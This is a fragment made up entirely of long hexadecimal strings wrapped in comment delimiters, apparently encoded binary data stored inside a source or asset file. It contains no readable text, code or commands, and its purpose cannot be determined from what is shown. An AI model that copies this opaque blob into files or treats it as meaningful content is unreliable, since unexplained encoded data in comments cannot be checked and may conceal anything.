c1e5e13a83382d3547be9aeb5111c2b7061b7ca49d7dab15a3120d54ff49e16261858bc8914fada91d6d42b94dd461cc48c18d7c715ace28ca7245335f04fa5f20664eee0335c988e56899e5d7999411c62c10d0093ba99d14b189e767d64caa083b90f6535b9cd3300a99e26f615151d1633f5c4eea21574512ae5bee7d87043b404593c3728b8c055dc7c409a3b900eaaddb5e3489a0669bb6f30fca09b3af1e6c900346ec955d6461018a513d4f3e330c3f2d2c57e0f2e9c5fa2f41b91f32144e402f20c0938d8597b89a7c5e5765d15759c022f0ffbfd62c1ea5a87ee3030cada3f777d25efee3c82518c6a53666ad33732503f8999c0d719e4ae0e7e6479c567e720daa72c4f16e0bcb8cf654fe74f0a7d3339bae3c7c4a80569b5605614d40c6a26cc8a4424fb2b405639e64c9c39ed3b5546ec8926e39afcc22857fae134aa4aa8f1f79056484fa274ac17cf115d794ffbc90642d231356f2d4c8b6f1be32a58ae581ca7eb56e6e9348d5e0c3a3efcc97932523c24b24a102989acba04b7fbfb96a9800cd72213fc5a1bf134339bc04f61fb2553387a6dd40dff17be94b6eab9b5f96829881da2739217f85592f6fd1099e431b7ad16d186b8bea6649ef8e1937a2b2d652b44d3e4c9109178e475e82ea5bfb03e2aaf790277e83274eee1c845181e3909cf047373e6784f08ef17706e609828dd2f99e2b318e1b78956f2b37be3239a1182c757fcafc06fff348eb7aeac4d7339406825e067fc2199d04629c83b799c0d09cc06b35bc6e8c6d9162d9c6094130f5*/
/*f5b3cf0d60b47dc47d9277939b62849cb3ee18ecc93db6615152124167ba224de350f63173540984dbf7aa146ad171b5f6c997c96fa5cb48df32042db9a535022627866fcce3116cc4bfec38e98a4854aead2be3ed8d59931dd99bd7c01fb0e9983574a16647800af0640e8d347098d1547a9a3c3c345fe08f135f0b37b71258bb24b02997873f8de8bcacc40ded06bd9c0773f4c7ab1b3717605c7d312bdbb6408f8dd80c66cf81c0aeb98493541508469d1d0864a8eb727022aa29c33e562bc384836b95b3de13ef44f0efb60272a7cc3b6199a72da502e95fc85820df8e120ab146d302b6a75e11f904ac7bb36b7ec605556791ba1b5ccf8a1cdc6ea18b891116c9ab794a06599f2568fc6835318737452e4b4cd1a6205706bf004cf2cb3fc3cf928a98d2475dbc9b635fb11ab5c47521ffbb7cb473a5a8ab30175f98e4ad99a3c0f87a57fa10ae88ee9d335df064b77bfcd292817debdffd96d8389af915c03961f4d698c23c4d7288679c2f967826e559284432b5bbe3502dd5715d7d7209192c0a6677b5c720445f3b607e39b6082e2260e393450bda1a24ccf411002279e8720121d13d425ae65d8a5baabac43dcdfab048013a2b21374d3fad94128bc0ed1dc6641d415e653ccfe138465576a2ad7d1dc27b6cd2106f73b4fff2f0b3be6ae7d6383c2299adf116c7a36d3c1853f955d1aca6de300697e117521a92e6694bdf07fab4f4ba2e2ca7a28fa441f384a2fca606e352b3c6b47e60290140bc86b976db8ca98651c9ad3f7e4e0a7542879023f675aea1259bfa233ee4155d4fbd8fdd7b79ffe4ca2d4f4d7ce9071dedfe0b8db15f0c630294e8a6670b918266807b80ae43090a29212102aecae5b3043b3ebbbfd6f54ef506eebf0f8485d14b337aaf714aefc66935a713b1b7a70fe590a1c34712c603bfa6119c18c027588daab322192cad2708d7b3337e513ed8b9674a3342830af6ac145df8ba3345018afa73a576604e6860ae67facdda11ffc01908bf6cf3a2a1f99ec6c589310c47a5baed9ee05486e108bd83dfcba8e797067a0f4e155f492eaf77327f661c0038e41581bf4d297f4d3c67920ce57fd665dacc00f03a6fdde410bd5d29c3eb224937e042b1db4e5eb2d583b71e8f0adb63347149240f3e3f5c96739e221b98c55199986d8428886e65e460a45a820a5e50299def0928d1b382e850140ee6e639c9eb5e8ff6c195bfe8328de386c96db4a04dbfb0fe251631b076826753b87be429715b3b0f186a20aef691b7dffed5ff40aa348c8c41cb3f5eff065221ddd9fa432707414725b6dffe0efaaaa1b9ec0b4d47c832ca822236e603b0c23a646929f92cb21c2eeab0028348f5f48963b6674819b71980414d2132a621e822d4c619c2d09c57ff934a4b0c80ca1d94211594968706901dc8dcb8b437d0a69599956deee78f2b2dd17379885e5fee2792e81a29b1e549f506135f871b9eb16d10bd795057df4a9e93ab8c192fa6e09c4d76941c56a058ad72b6754fcc3db14e69dca5644f8099d78671b9264822b9fa7fed4b7ff8bbe30bb7629ce1e3ee5680550f44a520e7d59d4476b11a5ddb74357fc87426548eb2b62401534389092af0e016fb2a6b590d0c676e799e6de5f4d281f8551be1fc79b53e27508fc569ddc6b316fdc7de707568c75a5a5ed5d6c849e73a04383308b4ce4c524b86b055b596a75d406987d3c89b310686d73ba2f8152b3bfc6553459e1cb7e7ac5a1eed7d2a9c3eb411549b17dc3d517fccf26e83d1b8b8f199eea40618a57957cbf17336c28f71d02c91713681829bd9ebf53fa89fdad4b2ea490d42a2aba0289035e68d8db2da030baf3336acc6f6b5f51788440b585d86b43cf4943b0351f89fb299995618f02d6a9e6119e442816fe24f35ba453a5fb54715d63f2af48b029ea730cae8b079f53b05a34b8ebf245eec66be92cd72a384d3155edec5bd657042137ae0f558b98a2f6713e8fa7c7afcc7ee90c50195d5563e0be99113eb183597361c23000e532907f9485228c0218addaa4bc160ee800a9f4ce253dd8f1e59bafb0436201189f173d9038719cc47a7692bb20a04c9e9c2e96fd4401cd0c3fc3dd1f51ec3cdb06521e8d33c03db16c615044820e4a2491f1ccd456488d5fc992e80f773c588a3ca6b701295246709e375bd029e23a7868b12658edd9320c120629db953f56d3889dacdf8bc633c26ee5e5b63164d8b6a4bea32a965fecd5092aeb11bef7d56e327b11799d24250c9f8b954326021f4ad3ca4393f59f7a2d99f7c9e76b7dee8ff685ddae2884614652c574b3de153b5bb385ef2b9f1e19ca2d1ba0c95a1e3b973ebf3ce0f0828da028b112f530adb2c6e301a7fd2cfb97efb998d2a363121e0cad3b5ef8f14d650a18f006ca56d051df9840c1362fc9aa4c4dd3ebf369a25ad75a1f145e05950db9ed5bb4f5227625d6e1ae49caa55c8c0541312e28cbfe2b143e57284f238063d8d6ef0816ca625a05ebfcee3bfc939ac89f75fbd99dc04b52def748ded2604f1f25629030f2d741a497fb5be81f8dd4e79370f569391806e973700d1e24523ff942f7a622ac5264278cb91a56d3326f6e23663fa90804c75a5b1e8f7ce01993440c037c3a311ff555fafb684a963c16fefa15a0388d55d743d0b4caa6416c7c8352ed2af62ae9075068ca43fb36a9e9315bd8fc9cbba2d9e2ef39d3f72819880bcecb7e72f76b5ffebf7e044ae5451836b40a84fbb96e96f16347b9ad8b88bc7111d8888e545ec7697427c56f05da0288cd4d565a80b6c983f8a309e95aad57daa9b142482c354445946670e*/
/*5b1159b7b757423e6695f4a1441720378883d0a5754a8f5230c76d61e74b42affa1fb7eee0cba9f02111b4aba8306f3db6379b4d5b4786199dfe15a8bbc09a35d648c59cb015f0d9a7313f2a5a9df4fd602c71701c67ad6652d15227f1a45772887c0af4c250ec43b8f595da4c477f90e479a3f7dded5e9cc90dc67a33f0cf55d7c6e63cbd4aace1eb805c105f14a6b8bb6eb66c9d923eca51e3a7998045f96712b2706b9a06155ff1b957e57cb75b45058cfeaf9be42b63ad94eed973dba19919983888ed024dffe2695a56b16b9c43a293e5905c470d10ac450c343f8f02f87b53c29641100da9cb9c602722edcc32d04b62d8daffa4c391ceaf6a18223f1b06f5d3cbade199601dbdec874bbdc047eb43cd8571b02b76ca96848f0d7461db747fe251da2cf3b9f822e878f9e0f6f8c8c8a1229c865cf8282b2094ec46fcd9ce1843fcd7e8a04b86572cfc17b7dfddb85e8917711ef07e9469b8edf6bd510b8e04c6b0320a7f696d5518dc30638e080644a993756bff8cc0fd8e524c9136b84e0e1ecd2314911819a781720d2d72a2e064a9d8d2a6034c856b960000795f5ad6c5f5648b242f985966b7872d9a06aea2a72d8e9bb8108a01b2defc364e894771d069c718e19404ca66b03bcd70cd5d9c37ca83a7670242f293e95ed406b2749b9e4a04481f70b08379743ec3a2c97e8e8821ba425697b44be740ccfea89c334290f71a4eea6aa36aa392f80b8bf64bab074e8f13e1755ec0a047df28af53c52e896832657d953d99c853be806a651485d66d787ac88fc8f145d809d579d68e0917b38f0f83837a43be98cfd789666b474ce75bb4c17a9b150d4325054508a3a6d3db6d1a2b2e855299cb6172ab81fd3d1f3cb805a1aa5f479ce066a4e4e547116cffeeb1f1d98e1e6926473d540e65413022ca667e15720da0a762374112c806c5bc073def0cafa56dfffe919ae2c16612c99a963111af291aba74fad4f1db0436d4e8ea7eb0aa861589c6f6168a9ff77ce2c7b2cd58db5bc8dacc227676e5dbeec8cc239437c65fb1c44778752ce74973c167ab0add8bef43ea0a830fd998da1431c049e3511325f86493a74c4abf0384400e37314a45a1065c674a975fe9a5a7207b822defd3517f1201fbbe9157ee4235a2d9fe4c916c281ffc21992b5e2c25da282b8db197466ed4b9d862603de87d6ca0715c42f64499d7a471d271e2aef59ecc100d5c7b8229563919931bb6be5111ef98a471b04dfd62fd5fd891936beb21ec5749a44b19565a25f63fe8dce1648fe81ee7ea2a6a4af3b8fd9f98fe02ba21b3636c90448db15e996ba2f1410a029f32721d8b0ae10fa95d89aa58e6b128559d0bb2d4277a2b9676bf35c87b414822173937d74ff26b66dc190dbc046c2d03d7bf549faaeec10594fe9c7f486b17dcd53c1fc3d269b70205e3c039910c90bd7328310c4412d6206576d8d43bb1ae279d86a34e5dc00f00d6cd40cf7d1457276b9473272da85aadf3f2ef4df77efeb5e985561b25db7de6d7048a2d4573f8c5bc39d582a0ffa3178fbe60601ea710f994d9a3579b5e74fbb85ad40f45a987c54b15a9ab7f8859a21af24e6cec5c5e017a0b1f13c1b99a3ba95cb5ad6dd280ef02349b2b65ba2eac11e29cf798ffb8e2dbd28685292d4803a3c5a0d28d3d06d6913772b4901d7e24641aa9dd01855fec94675b0c840695bb003e28908be447745cfa15f06676e1a0b40775f506477c7f1c6ad9393e4d87265cc41b3267231bd81c1a91b00154929050fee6c75fb407c3029d4603e24ac2dafc2d068f2fb9a942aa6b64c5b5f9c48e503873fa22ccd9ac4dbe67993ada50c66504308f417c961f1c74c0ffe7574cf5ada8ce25cd8fb318b7bffe2630c816bb266aac3de3eaa8eda862507ecd2c54907efc6299743cca13327b39a3a5d16621adbadeacff2e51ab3f5f77ea4b5f225d3ee82532001d465f0c61125a343e74b46a97ba3307dc0c7792b43f8fadcabe81a67acd30791c60ec703ace3c06efac9a7b62047cae0201c16b085fb2cf2407d3c0391f0afb41ab0e0c92bf589173c33fe1d4b4ec3b67b209b41bc753347694cda40012934fdd9ca14dd19705fdeb04008b0787d521ee4d3b2c2e1020cf120bf94ec9e345653dc3392aca5f779f02ba9905c6a4b54faed5558a658ba7a8a0ba7dd5028cbc7c5a7f669c610e67d8ad132b6f96d65f4bad5b365dabdbbf6ac94c864a0120fe5b3de60669c80de28816d0b787cded064ef5747bd5cdaca6827bb822d8917833fbec04a29632389cb0b17379b612da584e7e6d0e63549ba9ae83efa15023fdd29ab59e8309888fc98fc9395553487894e513f10641848d71e59d1ff9e3fab4f86c05eefe1993eaa750be68baa03ae09d30b92b5cfa3f257991744cf919fcec08e5e960f9843046e215d336970fd5aaa86526c3bf617e89d1b961f03ea8a1fab7b15fd199c9e5bbfeb698fc161c76061e21657649f110a9300b3a3a3b894ae718153024ccb48f5e6007441e1810eadfc79669b6ed9fd86aaf4c2a9883acba6f18f170311a1095124303c12f40b9aeaae8e6bcf241f16c3f245e9b504ddd5b921ac4a9c9a75df419bab2f5924d92bcbe0ddb4d2ada6eaebb59103495c4831706b114bf38455f5bfba554f2949c0fc5f6b0c9d0db6b84087d3d861a5436476ba40bf4379b1346e9737ef5b684c33998104ce8e29ad4b174291246e93337d2cd819ed779058486cef52a79488973f4c57658032f64eb9074a797932b85ca2356686a62f5dc01859edeaa998e86de675132c0f086247a1fd8213c9acb353761fb67fb29*/
/*35132061099c3b43688c4867bd8d037fe788f200e98dfc04c407ec45b25dc03c077fd9e6bb0ffef80834ecd9a8da247defffb7ac33f0496ea3552c2c2e6ad54469bcfaac8f6c5be02c788a6d233b06540fd0156cddab5e12f97b1782156043dda75276f56bdb512c76c88f53ed11ebe7cbfec8e85abdd05bdb4595120dda81d0fd7bab6db77ee867573dc1f3d3e81b66cb602ba1ed9d1d6d84bc71f6dba5a27092fca7a0d1f8b8b57681a90116a5e2696b8e72835fdc7acc9832366aded4e8d125faaee128ee15243ed56a8faf3fdb044fbd19e77a190087f41087d1322f2a17a1cd678d1eb9e4caa8596e1f23ae85b1ebb22f8cf01410aa044ddfb849ec3110aa65b57b96e19dfae81f17911ae69ab5934de00892f8003896cdaeb836fa0bcd2a77359674324c8c86a2fe3cb559f312d8d1f319b66ead407c6548e0d78d8a52a3e3a3d5d38ccc00f38024d6b5094f72f8b2b507bb329afba58cf350b4b74119de7d9cc03ab81f9b8129bf8d81bd7ef8858401a945b45a98b8c2a551a9701cf4a353f86cdf179c47a9d80bc27f82916c981bd49913c5a7c05c83affd7911648828362a6624acb6aa40def23295623f0b7b39ec9aeab9b08caed1eeb2dbfaca2a74b6201a99db146ba8897aba0f925c946b3c16465dc99eb5636c07052341d3cf7129f364569458a33ffd5a6d08732325ed35a1002dfbc9528c23586a4181ce71bfeb3d4e5f7fb6ebc484148b0945585ef29c8b58ee275d76b9777ea00deda3788b74c7591e2f2e617a148db3b92a11836c3c4067ec59d43ea181bd56c34c3fe0ba8a937194826b5ea8978a14da10adce0a3c577712e79c70d219e06caf5acb692d3cb7311bf913acee5d92b7be35d036646ac26c8a95acc6fa8620a6076f21779e778d3d6976a21530d4daf1aad24c710d6337f83dc115a06e2342e3f35a5756f134280abb6bab20553546a4e6f7394f0c99cc5e85793c4295e2b68258c9b62005acc399a0415d92e858dcf59122283726e5bb0d056af15e118e3e98004b529983cdcb787fa765c4ba7d90e7c5c58b92b26c1eb2e3de509b3d2b1448b85b1f25ad78b0a88794ed7f7f617c10c4ca65fe8cca257d413cb78a54cc5d0c56d06360b215b9ea4e77e30331da86f5473b163ff944397f21f27e08af5f5271397f64e146b5d37f7a500a70a3ce246ed0cb3a7fafaf5f06ef60eafd2a4dcf16ae969532ef69445c655fba8eaa11f9ea37c793be4e92f606f8dddbdd8025488d91be3088854b2ae2bc9c7d34b1153440573901dc66480b97c6e37884a5ba41204f7c43a17f37170f74727e4e72091e0dc32c956d1ee335de7850e296bdb460b50d5d02f3801df8dfac8f689c181b065ea8ed9abe985aaa0fc195e5a0d76592455cf8ae19123a2c53dbe6991b9ce444c4800f50127f4da6b8059c1b1b1f3c422438b36cc124abe6b0fb7fa7d3b9b17c59dae18a48ffcc72ccd205b0ebacb9d10a408a02411b5b1e1bb5fdd81db581ba5dd1f085e2f770124d993e5555d05d5eab98ebc9fbc4eb85db2fd7033f882e49624efbc4a5fe1e66aee64af04b09f8c5c80426138a6d354fd3a101f96a7001627fbb93a456a85e012b17c071b541d59d2b4e6d4067e54826cc7f8d04fc65401f4807892b6454b1339939149455d6f07c9054078ea059c4cae47408abc4dcd0591c2b571f98e66364330a5d6ecb532e7acf764c3f7cc432208f5e6eeb9b796f389991d6efc85b77174db1fa8d32f4e97f4c7425c45a05bb26c26da63374fdf3fe7525249071134e73051dc9c8c53a4a7ec9adcf641cb909da96d338b7307f6721ea595a07e45acd4fdd3b4785bf3ecf3b77ab4a0eba7ec8c1d5e9a1e92617e5eff1144230cf5f4480cc01082b44aec9d5634cf3b4db00503a1fa1f786ee43fb7634879d7e19637ae43f958a8b2ef4f194ace6e7239ce34af67cb45fcd375c4e03af9fe79235d39176b6713ee24d05cc998528b3b2db8d1a63cbc6ae378cc1fc9f594b239bdbd08888fa5ec7ff88db73cbb8c79a29c5948c55b9a513af5121f44df1118e92ea29bc2e43b12be25f0fa0dc6a9d63237b4d202ffab607c30b1df90ec9c4f25e1bafc1d4a82d9082a0a59b859e86f67a9f28e70ff05aa1017e055d106373fccc03b2f56faf70c5e120aad5150dafdc9d7074e6ed0e2c21b8e388f06364367b52a63cd06722a27ad97d0d86d32d011a8cab42495ae4ef12f21277e7524b6a420a8b9ed388f662cee3a5ada74743232b301617ff66289470f537fd545b6d5061c60e25211d3a5552874fcc023a158b466f81b15dfa594327083da80a8a3bcb43a431534533b8cf0ee124765eb1d71c744f2e687336e2d0de4f5c265cd9988fb17332e19f2d07366a19d84339552e909dde109505c641b66354f14064036e1539483cc6c5ab8d8b3d022cad7cac7f91381d0160a1abf1e6bcefd5558f808250af500857f6491ea5f38cbecc6663698ee90c67f2f28a47a7ed35af6e5ace79462762816d4f2f14bc6a9d895766fba66ed91afbcc74eef8d3df25f13bfc35c954e97e29d309aec5acbf0d4f4181818a2c592787a4c4308187264b4165afbe6192236eeb7f7528bf4bd264140997a9bfb32f8b4d59764b3343a41653c3681c50efc666addc7fc5dc51c9099a76c7d65c995b88002af2f7c2ce8f125566c5da9b49df475fc8e5460e5c783f1c11fbac1794e588772ef8696c4f02099d898ebac1992762efc03f5a13c5b41ceb84ced1169ac9e783ba36a3505f7e076fd7a4f740df0a6767fd2e95126d2790419ea66f6cf55a9fccad4adf87355f0ba2e868b501eef18c36*/
/*b7d8b92afe9dc6e3b89db794c89e91366a93032fb57826e3335f4f6c5066d30fa2bfd8a45ea0cdf0ab74dddb66088bfe25d84577060850652905385e1d3d6dd544f5190e798e59692f716613a675f085f4f3424e84a86fbf679cb9efea17df139551e0ddb430baa636179bca1113bb4901e8c1a8306cd3c78376231ae3c9a7a3276705f17b59554cc52deddc9ba30a078031ea615ba8d5c8941e352b909d594f683d49ac9660d4b8261051153620e4d63cc59addd44939d3a10fed3484883530244b8308e0440c93aca59461df3879fe0ef810e07874ad01a1269c5e6518a67f581b60f1069873143099befbb30ba387cdbac4bb1bf8743feb249a2a4227ff113579add57b5fffb427ded4b0d6680adc544d1b22aaa56fe05caccb8ccfcd25cece2321c75eee298c10dd26646974e24599acb69d1354c7f898f15e19fa99c75fe82fdaec1bf23049eb180fdd1d5a37057fd2d052b30b7df43c920421b68b75d1bb637412701bd6fa9fe38a8fc1cb925f326e2127848624ddaec2bf0d0a600c10ab3e8b62e41c6dd24c0700d0680084bdaffa58400e294f187a993237bb5d03d01f19d93c989a65aec759371e48a7a93792b5d88e2a8b3a4a70ba4bd70c2ffb05f10c88e29f36965f3e8b6aa137c10df6e8e722ab196aa102796ddf35501c5938fac4af2f68b142d782e4c55fe409b04c62722556de7f22429a720260cc157052a0f8d9a30b78c9e1b5e130103765764d938e98b2db17e745594850dfdab2bcb4ff7617ee68b92dd48ef266e0a5805fca97c6c54bb76bc668f6e46c4d2adc1b98235098787c8910357eb842deceeec921db65ed3603d4bfaca7060f6f1ee5ea50d2fcf24dca237ea31b3e57c3ba0051902216338bdc920eb2222bc74164e4de20dde05c41fe8c72df4113ce61f283b340c05dffc68cdbe7b3e57e3ed0e7c4fe5afaff0adc11580da83228c0ab90afc1985fe7650e66a77b06903b9c40c9b9d7c55b07903e6057385f0f8efb75aff4ae4c7d0c106e0818f4827f7f3e1cdf8745525ad7b13b887fb2e84683dbb8dd3428dc66608ccfa59bc21b0e886ab389f8b6dce7c375c7425d8b7e35c198ad63bd7360f0ea7500a1274371d0d3e9aee4329ec97f789b7c0b9915116e39f2589eebbeb5b8e927e5344b9fccd9c6d70752e2a44ed088480a4271432a8785b89006d599a4926a6740719fd8b0870b3d9994a88f81fd09f313b0019452897ca61d797ae5f1fe334c570ca6fb1daf4b2e0a241b48266bd7114c9a30a1f5f18f6c61120fbc39c17c09a2b9fadf9c80e9dfc0893433c41696f22e9bb64e3c711fd1626267fb1f1f42cf6be669792b994353741606d1474a1c4126635122418d7ae9271bc2d394b70f93a7549e94dd5f389c4307d73d5317b84b8c4bff36cad33b7cd4fb42f44827ebd0b0c8d4f2a54517600ea05c0ebb8e7620cd29394f5b0a60d6c723284c0ff823a1c3c7830cb2d40cdb4d2385566dceea17888331a820a8bfab28d994d2d41ee41d4bc1e3eb527e6dc098f51cf3f9b38228f8628cafc1f92b443d4a8b068204087121d30f434ad24adb359bef258443b3fba412ab756a03489d6675ae546eb059c2a309286c83e561d6b6066838156647d5c0711fc1ddac04dd5fb20fd124ae638976acbd5522e3c7b62fbcedd7b478a53131ccea7287270946888570cda179886a9b310e0f2ef706083bd28c123a1dd8c6725d3d7cabb6202a5b6898fb6873ee524e11aff43d73474f2e38cbc65d17429218e560ebfd0b5500486eafba6dccc4bf63ed2cef6311b8178189939f4d95cb143aceffa162b2497be7527eb9fdf84fe305690a1e2b2413b9adfe829fe45f085f0b25c96a2373aa3d06640333d922843e60dd474204c177a42d2b20b8b68544448ec9cb2af967a7792af7237556c65ee872d0435c82a27bce3a700efeaac97e1283738d1a0506e69e8ea0e4892fe7028f0323369076747d42fcf829e4440a8239b73c7b2de05bc60018f97579d9d6669dd88f572eec96ecd953fd6011106a061fef44a4ddeee7f6efd5ba242b0abcbb66579a62b97d7e40ea46a041448764e282a378dfa3b8b93ce900503bc55f776f3db61dc114624a5c4778ea27888087bbf5418866fc5ff7cfc10a21a997b60645a8e4ad345e0c0592066f0f1c32d170bd1096150e296676e9b66883877750994035f2a5be4414f6057f765dc43d54fe1ea2b52ffa6a2a7b7d7064f910b8dca639398810e3bc18e1d708dc8f134b15e35158119482150e1f866beff1c3340b7a9667726d84aecf6fc98af29ff213b1fb949f65f4e83dcd26d1a1bc31921c4f6c2a69828516272729bb13fcf658e6de7da84a32fd4aabef1113d7016d91475415b0a3413a72ef9aede78f5377b650297afcb6b29149304818cce1f15fb58e38413e5c1f3533bcc5ad10f297c4eddac4ea284087ddfc14deaff739b4dbb7df133999e2c62226fee88eadcc468a0706fa089f2e1d14f6293cbf849a08951dffb94db098e752432f741137b5f845abc77c3ca0d39a0d893a86906e5f671207f2d99e7597bc2e8f0245704f337fd4155fe5e9518efe768e4590423db7e909f0e8b804c513f08159789ae5c5a2cc72980566b1afd63c4bbddaeaf8f8900e0035782892cd8d181e66dc9b8dcab550757ef1a2538e8309b5dd277557d9b7236f80ef6139732928a9a9d9312285311bbd9f79c08ffa0e7c49f99e0c5b75565ad4a3ff20c30b2f52d287672ef9d709c53001ade99653f18bea02b1eb5a1b3f2b6728d2e438a5b2ef4854d26e4dee776d19996fe429ff31422174c49a6e99482aeab9434f*/
/*dbf36c5686c36609638f66be1dc84d674f521745da0d4078d900709c30d1af53c4b073cefed5970c6e2b532c0859119f71f10e84d5a5221ad129d25de7a06a7fc7fdb269573335f9fb8a77fd707fca6a513e7a4adc1f3d6a1acc5654b6b2c89836dfad3d4abf22386a7b0610a853a93bbf6ed9f99e829b30c0f30b5b5d73dcf7e1df10225c003e1d0fa7b2c084abc92b5cc75f153ddb0f156ca17efdb4334c5b528df267e416debf39095c906bd652b578f880169cfae36152b2a8264590169e50c4a0d27041ca744d173ee126b4fe5d114cb23931366fe5265ca99460eff6115153e19730a81b1006cb5469182d34f6e590cafd6a333ff425350a76ccf7b52e76e5b9e4435a4c062d1e7d283f706f211a2159123b45d78c810e961d936f10e9989c26a25ad25651b12936062dcd638135e16d2450bdb1f40f80d6042cf7efb51f7d95161adcd0472e96a5e8641c29c26c57daefb5a6f5f47cd06006744f9c5df57946d764e45401210f402471bbdd4ba998ee612425e69202800f3adb0d3170c18d5fa5255c3dffd84d2bc970710014dcd36d03417325a3888a4d4e2133717218304e020a4367e39f1796519bac11c4a03d6b588f739c6237b03eddc198e4fa25d9c3f1ae46780f8f34d362430d282902e61895d2b9cb3d59578aec1a58947f5145cabdf46baf006184292dce615971cd17fb1200e71685ae834c21f9c02824171679174f30130bf3a506938a0889efe3dd226ca5bb85937d02d845d814b60d9fa188924cfbeeb6e841637f321d622f772d87bb1f70c34043739e3e73f25567e2f78fbe4e498b92f10969b7db39e41388ae57f0a3eb8bc8f711242235e696c3f49de51c862af1adecb67648b360cb83ed6e967139b606583c82850c8e183c14d2072c0a3188b1e1991f024133feab71cafe23ebeb87086296573320616763ab3422177f79841a87246f696cfaf580678ddfe7b043525ce25a9ad5976d464097942bb36406df1418a074f6bb1bdde3dd7810bc5509a195a53d70b0afd44773412e814699e662e5828244aa482141807eb6359b914a4b66a12cd6e3180001fce6e232b42985ac3a3e239c0e70dfd66da8123bf1013fdbac9843085e0aa0321b737faf63b9d72b10cc9ecb85cc39e74b32946dfde435dce5b1c2c04512f669ae0ed346d720c7d8cdd8b64e6a8eee475825adf9a0959ee888ef304ae2e977942c6d8a27573836e4b990e967d519a983abda0d32d57c8c34f74c1ed06fee8b666b32a1f6a40b11c766adbf81e9ca254fc37f77de93ecd3f19236e9fd5de19c4c2c532f473c273d5cfb51f7d0fb342161f13044e2502e4bdc453c06d86f13e0ddc3070acef19709d44a51b394131ff9d69f6c5781c0b32826a40c150a1270345ea8575c556e99815dd3c977aaa5ebe1e4e91189d28dd299738b153447e3babf54c9bba57d179c4ae25266c2bd240926250a19a7b9e01743fb0d288c2005c7b385ea4e470be71fa4a116a50cfda79c2c84f4d9c68c04da11a849c9c2985cd461e6a87b8591b422d83c6c470b755d70e5287449dd0cd2fb74d89aab9ab2020bc837c1c633d38f385f2dde2c975c9f68957c4960dd6f86028f608053e241f0bee77ab74c495a8e386973ea5913f909a97078b129bb10407ccf1c4cb6fbf745561e24c934877f60113923f840822e91111bb9c00ec019e4b4ac131541ebe88a0582b0e8e559873de48eaab9acc8fa12e6d006648962d3e6945a2f2cae37c6d2e823bca426e2a40371c8f3911c6a53c8c5eae12797e1bb8583f576f3304860b311d14b095969a1f9f849d71495ef53ca1efed0b6bfb626ebf43bf56d8f58ae2be919f918e072934ec9bc400d6cffdda2fd3ea898eaf5d863e4ca683050f1e55e61844344d32d9d1ba1b2a651d9b321f55f4acfab8b86363af8fe012e59380b072158e950fb6d2e9604be3f3153a7ea29ecbb091128535b79216e69b30b402dcb29606f3a80c2f74a644b05d2ed69752ae1bfee209731f87622ca5aec873406226095074d6ddd9779cdd3dd428da61130ce116f9a42da2481bef046b90d217173cd5e26462dd46881f7275e8f070f7300a74591e47a28a109c0b614ffc632bac519a75eccc0b595a1c0872f1bd95fb84baa65bebc8f35b062279d1c0ed529ed102707e81e7c4427168eeaa493dfe231ff0d6f091bed570a25cc55dca6bbee36d1ac656f0eaadaf1c5066d8389e5e1555e2ec8bd05e47b79e4db7214bf75f8d51df3234d041ba8c4b69bdce5493191e2714b9a734a034042097cf471bb2d2c5ffb2f827edcf4ad2edb60f0ce44d71dea10d7420b6f8c03b479ad426b33999e8987b4740bf286699eb49d39736ff4fba49241fc0b2e51bd3bcf977c793ca8d66e4e16365d980ebacc0db21438b34415748799cf831b70da2e9d9679320b854ad6b7e5b46789c54c61ff8df2fb2b87a6f5490697976d897c0313f75d6b63d5bb226787370c96fac45551a8384bcaae5d09d186cddbce9877825e3342db6b9ffada715c983c3eccd1592d6d9aafb66f95c9939c5c7b485e144db993b5230f8daa9bac5fac949ef1e45cbdccb8f57b7435a5782e0944ee1468effd8ef4f0919dcaf981af97a5a7342272bc0b9e5ab14bcdc7d2f4d2b24224ca94f455869f90eea0f380d99a1b6f61cfa080c162a8c4a2efda0c1dbc397667ac5f596208a5171b2ba165236162ee58bc3332608527da2c9f6e196d554695443d12c21f2e7d733e561820c5ae6d8fe1cb5dd0d34d46aa04649330c4303760461bc35d7d84a3d0ae9d78893ae4e0009d2214c0fea1c8d8140ec508261d4c09d5*/
/*39ea609233fde9a7fe88924b71e9695dff0b0fe8403fd2b779d49babd6782f7f8106cfa90306197a2ffdca8500ec1d6850efb1fcf49077102a3ed62eb4e43bf989826f0658426001cb9e492208c01d78ea57974aa8f837ec962e44faa7fd7019379f921ea13b5c5ccf4b19be9bba3a750a999e9d1b35eb9f7107a8409a8ab987d458f2cf1ce2b1aaaf54fe730a4063f9761f4c69697d500603d48749679c44c9e972b7ceb94e5ffec17e44f2529f1357739dc2ee876380c4aeefd318e66ee007f9f3abc085510c00ab1999f7a12f0d5220db576102d67058bc506332aad1b52d22ad1033b86c013a81c93d314078bd9ad1fc07d49ff10031e18ebaf6e3c3f89cf3f7fd4ecc557d7cd3df5ec4457ee9edd8d3be6bafb3e734f6c3b7bf6f6d31d6ae98fa9b2a96300cbd9b4823a65f7fbe7c077c2c050652d0c464e3fb45c533a9caeedec5c282cc3dbe65321c3c3deb8f1101d44727e3833e42fef7915f2c5ae9055307d920228380a4ac464bc78180dbecd660683945d47c873854ebe79c6acec5af8b95027fae7c8fee66f15866976568702b1da2f6d34043ab10d730bb34052b10a5a171e8cc58dd28c87e1030cb6450bcb6eabd80472727ae6a7504c8da071bc0a7d148ec5993abd219df05d59e536070157ec6f1e430e3a54edecabc0d58a19dffd851ee2dbf2a9fbbb5d6b7e55642e2019018dfdf81331227016ea6c0dc03137ca0615593b24fc0c0fe2ccc22475b603612b76d699858185fb5aae8de9d3b5217a78934207c73b5333b1f02eb8a2ce8aeca22d831b7a725c2671aeb88cce46d9910a4928069102fa45a76706149522e53aec3e7d710148445f38ebdd5f04c1a6edd4f60fac60c708c3e6f2625ea70c062dd2f462da3f28f05606a27b318bc7b005e6cecd67880019684b6cc60bb8c73826c0ad2614a21dba04939ee382226138ec71794abc951d4abac7b9de0937ef9a0be0aac2ae1dc81c6f514a5265cd339d7dc247c658ccd3a7fc3066dab5a04b0f5846e91e17729c590c1f353c2aa7cdc56d64bb3ffefb8625f09ff5e21e22b242a1bb5aee87c5ec871dce9fca9954f454ee2df6bd22b577f5b7329526ab7a6d409a9890ab23ad5f779b20494ffeb4a58ae1ad77be80c108b16bd76ef39efb8f022b5fff599d5f7b68b98cfcc8cdafdecce4802bcaef80f82267f052d6a3e4b68764ea47447bb809e16961c784ea46e6cb33375afffc49b1139f456951431185b6317d53b5bf89563aae88e2024e2a5bfddf110b698780e2f0e48e738c490d5d68e61a342ba9fc65ed4dc8a9b984710ccba9faac52ece2f2d6292228b8ec617dd2a106aec3db0f85537851d